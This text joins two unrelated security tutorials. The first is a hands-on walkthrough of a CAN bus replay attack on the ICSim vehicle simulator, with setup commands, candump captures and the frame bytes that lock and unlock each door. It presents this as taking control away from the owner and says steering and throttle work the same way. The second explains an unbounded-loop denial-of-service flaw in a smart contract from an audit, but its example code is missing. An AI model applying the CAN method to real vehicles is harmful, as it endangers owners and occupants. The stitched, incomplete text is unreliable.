CAN bus, also known as Controller Area Network the abbreviation of CAN bus, is a feature-rich vehicle bus standard. It is designed to allow microcontrollers and instruments on the network to communicate with each other without the need for a host. It is based on a messaging protocol and was originally designed to use multiplexed communication cables in vehicles to reduce copper wire usage, and has since been adopted by other industries as well. Simply put, it is a communication protocol used to control vehicle functions, such as door unlocking, turn signals, brakes, accelerators, etc. Why use the CAN protocol? Simply put, it is cheap and easy to use.

CAN bus characteristics

Security:

CAN is a low-level protocol that does not support any inherent security features. There is also no encryption in standard CAN, which allows these network data to be intercepted. In most applications, applications need to deploy their own security mechanisms, such as authenticating incoming commands or the presence of certain devices on the network. Someone else could try to insert messages on the bus if proper security measures are not implemented. Although passwords exist for some safety-critical functions such as modifying firmware, programming keys, or controlling anti-lock brakes, these systems are not commonly implemented and the number of key pairs is limited.

Communication mechanism:

multi-master - that is, each node has the ability to access the bus.

Addressing mechanism:

Message distinction: No node address is set, and messages are distinguished by message identifiers.

Frame type:

a data frame, remote frame, error frame, overload frame, frame interval

Attack method:

• Application packet fuzz testing

• Dos attack test

• Replay attack

Since the data packets on the CAN bus do not have any encryption, these data packets can be intercepted and eavesdropped. Since the vehicle network uses the CAN protocol for communication, we can think that the function of the Internet of Vehicles is also to send and exchange data through the CAN network. For example, if we turn on the left turn signal, the electrical signal will be sent to each device on the network through the CAN bus. Then the left turn signal will interpret the data packet and execute the instructions in the data packet.

Attack method

The CAN bus attack methods we wrote in the CAN bus characteristics above include application message fuzzy testing, Dos attack testing, replay attacks, etc. Next, let’s practice replay attacks. As the name implies, data packets can be intercepted and then resent cause The vehicle is under our control and not the owner of the vehicle.

Required Tools

• Kali Linux

• ICSim (Dashboard Simulator)

• Socketcand (CAN network)

• Kayak (a CAN bus analysis tool based on SocketCAN)

ICSim is an open-source vehicle instrumentation simulator. The simulator contains two modules, controls and ICSim. The controls are responsible for generating simulated vehicle data, which are sent to the virtual CAN interface in the form of CAN messages, and ICSim reads from the virtual CAN interface. CAN message, and update the status of the corresponding parts on the instrument, such as vehicle speed, door status, etc.

Install Dependencies

sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf

ICSIM

git clone https://github.com/zombieCraig/ICSim.gitcd ICSim/
sudo make

Socketcand

git clone https://github.com/linux-can/socketcand.gitwget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.incd socketcand/
autoconf./configure
make cleanmakesudo make install

Kayak

git clone https://github.com/dschanoeh/Kayak.git``cd Kayak/ mvn clean package

At this point, all installation is complete.

Start Attacking

First set the vcan (virtual CAN) interface

sudo modprobe can``sudo modprobe vcan``sudo ip link add dev vcan0 type vcan``sudo ip link set up vcan0

Open the Dashboard Simulator

./icsim vcan0

Open the dashboard controller

./controls vcan0

Controls

Function                 control button

turn signal         Keyboard left and right keys

speed                 Keyboard up and down keys

open the door         Right SHIFT key + A

close the car door Left SHIFT key + A

open all doors         Left SHIFT key + Right SHIFT key

close all doors         Right SHIFT key + Left SHIFT key

Use candump to capture packets

candump vcan0 -l

See the captured package, because the CAN is constantly communicating, the package will be very large.

Next, we find the data packets controlling the vehicle on the CAN network to attack him.

Listen to capture packets, then open and close all car doors.

More than 10,000 packages were caught.

Next, we use the dichotomy method to delete half at a time to find the package that closes the car door.

Finally, the package that opens all the doors is found by dichotomy:

(1668507963.222323) vcan0 19B#000000000000

Among them, 19B is the device identifier, look for 19B in the data packet.

grep 19B candump-2023-03-22_052559.log ``(1668507960.512530) vcan0 244#000000019B (1668507962.233563) vcan0 19B#00000F000000 (1668507963.222323) vcan0 19B#000000000000 (1668507963.517110) vcan0 244#000000019B (1668507964.208966) vcan0 19B#00000F000000 (1668507965.319056) vcan0 244#000000019B

We can see one of them 19B#00000F000000. If we get to 19B#000000000000open all the doors, then we also perform the operation of closing all the doors later. It can be guessed 19B#00000F000000that all the doors are closed.

As can be seen above, this data packet is controlled by the third byte.

(1668507962.233563) vcan0 19B#00000F000000``(1668507963.222323) vcan0 19B#000000000000

The packet that locks all doors will represent the nibble as a hex F. Breaking this down into binary yields 16 possible combinations of gates.

binary hexadecimal

0000 0

0001 1

0010 2

0011 3

0100 4

0101 5

0110 6

0111 7

1000 8

1001 9

1010 a

1011 b

1100 c

1101 d

1110 e

1111 f

Try different car doors controlled by characters.

character car door

8 right rear door

4 left rear door

2 right front door

1 left front door

Suppose 1 is the action of locking the door and 0 is the action of unlocking the door. So when we identify our door, the identified door gets the command to lock it and the other doors get the command to unlock it. For example, the binary value of character 8 is 1000, so it means lock the door, open the door, open the door, open the door.

You can try to see if C has closed the two rear doors and opened the front two doors.

At this point, you can control the switch of each door. In the same way, steering and throttle are the same principles.

References

• https://ieeexplore.ieee.org/document/9058628

• https://www.sciencedirect.com/science/article/abs/pii/S0045790622003561

• https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9460802/

An unbounded loop vulnerability is a type of security flaw that can occur in smart contracts when a loop does not have a defined maximum iteration limit. This means that the loop can continue to run indefinitely, potentially consuming all of the gas allocated to the contract and rendering it unresponsive.

For example, consider the following code:

In this example, the infinite-loop function has a while loop with a condition of "true", which means it will run indefinitely. In a smart contract, this can cause the contract to consume all of the gas allocated to it and become unresponsive. This could lead to funds being locked in the contract, or the contract being unable to process any further transactions.

Let’s understand more clearly with a relatable example here,

Imagine you set a timer to limit your break time while studying for an exam. But due to a malfunction, the timer runs indefinitely and you end up wasting hours watching videos instead of studying.

Anyways, this is an example of an unbounded loop vulnerability, where a lack of a maximum limit causes you to consume valuable resources, in this case, your time, and become unprepared for your exam. It is important to set limits and monitor them to avoid this kind of vulnerability.

Let’s dig more about gas limit:

Gas Limit: In the Ethereum network, every time a smart contract is executed, it consumes a certain amount of computational resources, measured in gas. Gas limit is a mechanism that helps to prevent infinite loops and other unintended computations from consuming all of the network's resources. It sets a maximum limit on the amount of gas that can be used to execute a smart contract.

How gas limit helps in solving the halting problem:

When the amount of gas used by a contract exceeds the gas limit, the contract's execution is halted, and any changes made to the blockchain are rolled back. This ensures that no single contract can consume an excessive amount of resources and cause a halting problem.

Think of it like a fuel tank for a car, the gas limit is the maximum amount of fuel that can be used by the car, once the fuel runs out, the car stops running and so does the contract. This mechanism helps in keeping the network running smoothly and it prevents any infinite loops or unexpected computations that could cause problems in the network.

The code we are gonna look at :

• The Project contract has an unbounded loop vulnerability.

• The vulnerability is caused by the loop not having a maximum limit for the number of iterations.

• If the length variable is set to a very large number, the loop could run indefinitely.

• This can cause the contract to run out of gas, which would prevent it from completing its intended function.

• This can lead to a loss of resources, such as gas, and a failure of the contract to function as intended. i.e. halted

Attacker Scenario :

• An attacker calls the "addTasks" function to add a large number of tasks to the contract.

• The function does not have any restriction on the number of tasks that can be added, so the attacker can add a large number of tasks.

• When the "lendToProject" function is called, it calls the "projectCost" function to calculate the total cost of the tasks.

• The "projectCost" function iterates through all tasks to calculate the total cost, regardless of the number of tasks.

• As the number of tasks added by the attacker is large, the iteration takes a lot of computational resources and gas.

• As a result, the "projectCost" function exceeds the block gas limit, and the transaction is rolled back.

• This can cause a denial-of-service (DoS) attack as the legitimate users will not be able to call the "lendToProject" function.

• The attacker could also leverage this vulnerability to increase the cost of gas required to execute the contract, making it more expensive for other users to interact with it

Conclusion :

In conclusion, unbounded loop vulnerabilities can have serious consequences for smart contracts, such as causing a denial of service attack or running out of gas. To prevent these issues, it is important for developers to ensure that any loops in their contracts have a defined maximum limit and to use more efficient algorithms where possible. Additionally, implementing a gas limit can act as a safety mechanism to prevent infinite loops and unintended computations from consuming all of the network's resources.

The mentioned code is a medium-risk finding from a code4rena audit

Here is more information and findings from  the Rigor Contest 2022-08-rigour-findings